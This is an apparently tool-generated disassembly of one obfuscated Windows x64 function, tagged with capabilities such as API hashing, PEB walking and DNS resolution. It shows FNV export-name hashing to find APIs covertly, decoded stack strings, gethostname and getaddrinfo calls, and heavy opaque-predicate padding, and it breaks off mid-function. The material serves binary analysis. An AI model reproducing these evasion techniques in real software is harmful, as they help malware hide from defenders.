Function at 0x140005930
Capabilities:
Access peb ldr_data
Encode data using xor
Get hostname
Hash data using fnv
Resolve dns
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x14007c040]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
mov r14, rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x20], rcx
call fcn.140003760
movsx r13d, al
call fcn.140003750
movsx eax, al
mov esi, eax
mov dword [rsp + 0x28], eax
imul esi, r13d
call fcn.140003790
movsx r15d, al
xor edx, edx
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
lea r12d, [r15 + rsi*4]
add r12d, esi
add eax, r12d
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
je 0x14000701c
movsx eax, byte [0x14007c0da]
xor ecx, ecx
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
cvtdq2pd xmm0, xmm0
setg cl
xor edx, edx
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
lea ecx, [r15 + rsi*2]
add ecx, esi
mov dword [rsp + 0x38], ecx
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140005a68
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
je 0x140005a68
mov r9d, 7
jmp 0x140005ac6
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r12d
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140005ac1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rsi + r15]
lea ecx, [rcx + rsi*8]
xor edx, edx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si r9d, xmm0
jmp 0x140005ac6
mov r9d, dword [rsp + 0x28]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea edx, [rsi + rsi*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r15d
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000701c
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r15d
mov qword [rsp + 0x428], rbx
mov qword [rsp + 0x430], rdi
lea eax, [rax + rsi*2]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140005f38
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140005bc8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140005bc8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x3937698c
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140005bc3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140005ba0
cmp edx, 0xa4ae121a
je 0x140005d05
test r8d, r8d
jne 0x140005b80
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x140005bde
cmp qword [rax + 0x30], 0
jne 0x140005b50
xor r10d, r10d
xor eax, eax
mov dword [rbp - 0x40], 0x2b2a2d2c
mov byte [rbp - 0x2c], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x3c], xmm0
mov qword [rsp + 0x20], rax
movabs r9, 0xab6540cf8ed3efa
mov rax, qword [rsp + 0x20]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
add rcx, r9
movzx edx, byte [rbp + rax - 0x40]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
mov rax, qword [rsp + 0x20]
add r8, rcx
add r8, rdx
add r8b, 0x2a
mov byte [rbp + rax - 0x40], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x15
jb 0x140005c10
mov ecx, 0x202
lea rdx, [rbp + 0x20]
call r10
mov r10d, dword [rsp + 0x38]
xor ecx, ecx
cmp eax, dword [rbp - 0x40]
xorps xmm2, xmm2
movsx eax, byte [0x14007c0da]
setne cl
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cvtsi2sd xmm2, rcx
movd xmm0, eax
cvtdq2pd xmm1, xmm1
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r10d
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140005d22
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
je 0x140005d22
mov r9d, 7
jmp 0x140005d80
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x140005be1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r12d
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140005d7b
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rsi + r15]
lea ecx, [rcx + rsi*8]
xor edx, edx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si r9d, xmm0
jmp 0x140005d80
mov r9d, dword [rsp + 0x28]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
imul ecx, esi, 7
add ecx, r15d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140005f33
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r15d
imul r13d, dword [rsp + 0x28]
xorps xmm2, xmm2
lea eax, [rax + r13*8]
div ecx
movsx ecx, byte [0x14007c0db]
xor edx, edx
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r10d
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140005e67
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
jne 0x140005f0e
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140005efb
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
xorps xmm0, xmm0
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x140005eff
mov eax, dword [rsp + 0x28]
xor r13d, r13d
cmp r13d, eax
jl 0x140005f11
mov r14, qword [rsp + 0x30]
jmp 0x140005f3b
xor r13d, r13d
mov rbx, qword [rsp + 0x30]
lea rdx, [0x140073888]
xorps xmm0, xmm0
xor r8d, r8d
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
jmp 0x140007001
mov r14, qword [rsp + 0x30]
xor r13d, r13d
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
call fcn.140003790
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006401
xor eax, eax
mov dword [rbp - 0x80], 0xd2d1d0d7
mov qword [rbp - 0x6c], rax
xorps xmm0, xmm0
mov byte [rbp - 0x64], al
movups xmmword [rbp - 0x7c], xmm0
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
cmp rax, 0x1d
jae 0x140005fef
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
add rcx, 0x11e63
movzx edx, byte [rbp + rax - 0x80]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
mov rax, qword [rsp + 0x20]
add r8, rcx
add r8, rdx
add r8b, 0x4b
mov byte [rbp + rax - 0x80], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1d
jb 0x140005fa3
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, dword [rbp - 0x80]
mov rcx, r13
movsx eax, byte [0x14007c0da]
xorps xmm2, xmm2
sete cl
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
cvtsi2sd xmm2, rcx
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400060c2
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
je 0x1400060c2
mov r10d, 7
jmp 0x14000615c
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006157
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
xorps xmm0, xmm0
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si r10d, xmm0
jmp 0x14000615c
mov r10d, dword [rsp + 0x28]
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140006401
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006238
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140006238
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
mov ecx, 0xff74237f
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140006233
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140006210
cmp ecx, 0x9b1486c
je 0x1400063d5
test r8d, r8d
jne 0x1400061f0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x14000624e
cmp qword [rax + 0x30], 0
jne 0x1400061c0
mov rax, r13
call rax
call fcn.140003760
movsx r9d, al
call fcn.140003750
movsx ecx, al
imul r9d, ecx
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
xorps xmm2, xmm2
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006341
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
jne 0x1400069ee
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400063f4
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
xorps xmm0, xmm0
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x1400063f8
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
add rax, r9
jmp 0x140006251
mov eax, dword [rsp + 0x28]
cmp r13d, eax
jl 0x1400069ee
xor eax, eax
mov dword [rsp + 0x40], 0xa3a0a1a6
mov dword [rsp + 0x58], eax
xorps xmm0, xmm0
mov word [rsp + 0x5c], ax
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x44], 0x9f9c9da2
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
cmp rax, 0x1e
jae 0x140006488
movabs r9, 0xa9e53a76aee919b
nop
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
add rcx, r9
movzx edx, byte [rsp + rax + 0x40]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
mov rax, qword [rsp + 0x20]
add r8, rcx
add r8, rdx
sub r8b, 0x3d
mov byte [rsp + rax + 0x40], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1e
jb 0x140006440
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x18], rax
xor eax, eax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], eax
mov byte [rsp + 0x74], al
mov dword [rsp + 0x60], 0x73726d6c
mov dword [rsp + 0x64], 0x77767170
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
cmp rax, 0x15
jae 0x1400064e7
mov rax, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x15
jb 0x1400064c0
xorps xmm0, xmm0
mov dword [rbp - 0x10], r13d
xorps xmm1, xmm1
mov dword [rbp - 0xc], 2
lea r9, [rbp - 0x18]
mov dword [rbp - 8], 1
lea r8, [rbp - 0x10]
mov dword [rbp - 4], 6
xor edx, edx
lea rcx, [rbp + 0x1e0]
movdqu xmmword [rbp], xmm0
movdqu xmmword [rbp + 0x10], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r10d, eax
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006a17
xor eax, eax
mov dword [rbp - 0x60], 0x63626160
mov dword [rbp - 0x4c], eax
xorps xmm0, xmm0
mov word [rbp - 0x48], ax
movups xmmword [rbp - 0x5c], xmm0
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
cmp rax, 0x1a
jae 0x1400065e8
movabs r9, 0xa9e54b7fc506e9d0
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
add rcx, r9
movzx edx, byte [rbp + rax - 0x60]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
mov rax, qword [rsp + 0x20]
add r8, rcx
add r8, rdx
add r8b, 0x50
mov byte [rbp + rax - 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1a
jb 0x1400065a0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cmp r10d, dword [rbp - 0x60]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov rax, r13
cvtdq2pd xmm0, xmm0
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400066aa
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
je 0x1400066aa
mov r9d, 7
jmp 0x140006744
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14000673f
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
xorps xmm0, xmm0
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si r9d, xmm0
jmp 0x140006744
mov r9d, dword [rsp + 0x28]
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
call fcn.140003790
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140006a17
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140006828
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140006828
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
mov ecx, 0x81b5feae
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140006823
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140006800
cmp ecx, 0xa510e89d
je 0x1400069c6
test r8d, r8d
jne 0x1400067e0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x14000683e
cmp qword [rax + 0x30], 0
jne 0x1400067b0
mov rax, r13
call rax
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.140003790
movsx ecx, al
xorps xmm2, xmm2
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006932
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
jne 0x1400069ee
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400069e5
call fcn.140003760
movsx edx, al
call fcn.140003750
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140003790
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx eax, al
xorps xmm0, xmm0
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x1400069e9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
add rax, r9
jmp 0x140006841
mov eax, dword [rsp + 0x28]
cmp r13d, eax
jge 0x140006a17
xorps xmm0, xmm0
lea rdx, [0x140073888]
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], r13
xor r8d, r8d
mov rcx, r14
mov qword [r14 + 0x18], r13
call fcn.140002480
mov rax, r14
jmp 0x14000700c
mov ebx, r13d
call fcn.140003750
movsx edx, al
call fcn.140003760
movsx ecx, al
imul edx, ecx
lea r12d, [rdx + rdx*2]
call fcn.140003790
movsx ecx, al
add r12d, ecx
call fcn.140003750
movsx edx, al
call fcn.140003760
movsx ecx, al
imul edx, ecx
lea r14d, [rdx + rdx*4]
call fcn.140003790
movsx ecx, al
add r14d, ecx
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx ecx, al
imul esi, ecx
call fcn.140003790
mov edi, dword [rsp + 0x28]
movsx r15d, al
nop
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r14d
div ecx
movsx ecx, byte [0x14007c0db]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
movsx eax, byte [0x14007c0dc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
add eax, r12d
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140006b31
call fcn.140003770
movsx edx, al
movsx eax, byte [0x14007d2e0]
imul edx, eax
shl edx, 3
call fcn.1400037a0
movsx ecx, al
sub edx, ecx
call fcn.140003780
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14007c0dc]
add ecx, edx
je 0x140006b31
